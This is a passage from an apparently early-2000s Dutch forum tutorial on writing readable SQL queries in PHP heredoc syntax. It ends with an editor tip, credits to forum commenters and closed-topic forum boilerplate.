9
10
11
| $queryString =<<<SQL
SELECT t1.bla,
t2.bla2
FROM tabel as t1
tabel2 as t2
WHERE (tabelrelaties)
(condities in volgorde van prioriteit)
GROUP BY y
ORDER BY x
LIMIT o,l
SQL; |
als afsluitende tip:
gebruik een editor met highlighting mogelijkheden. Dit voorkomt veel problemen omdat je dan aan de kleur van je code kan zien of het klopt.
vragen opmerkingen kritiek via icq #18966246
(zpel en tiepvautte voorbehauwe) D2k ©2001/2002
tnx 2 ACM voor het corrigeren,razor-x,Timpie2000, Bart Coppens, drm, RdeTuinman, mietje, stylee, Janoz, mbravenboer, wasigh, whoami,Macros, drZymo, blimmel,demonite en Nielsz voor het commentaar op de oorspronkelijke versie.
|
|
Wat moet ik weten voor ik een topic plaats?
. Bij de buren in 
) maar ga niet met opzet serieuze threads offtopic helpen of kijken hoever je kunt gaan. Dat gaat er bij ons niet in.
Dit topic is gesloten.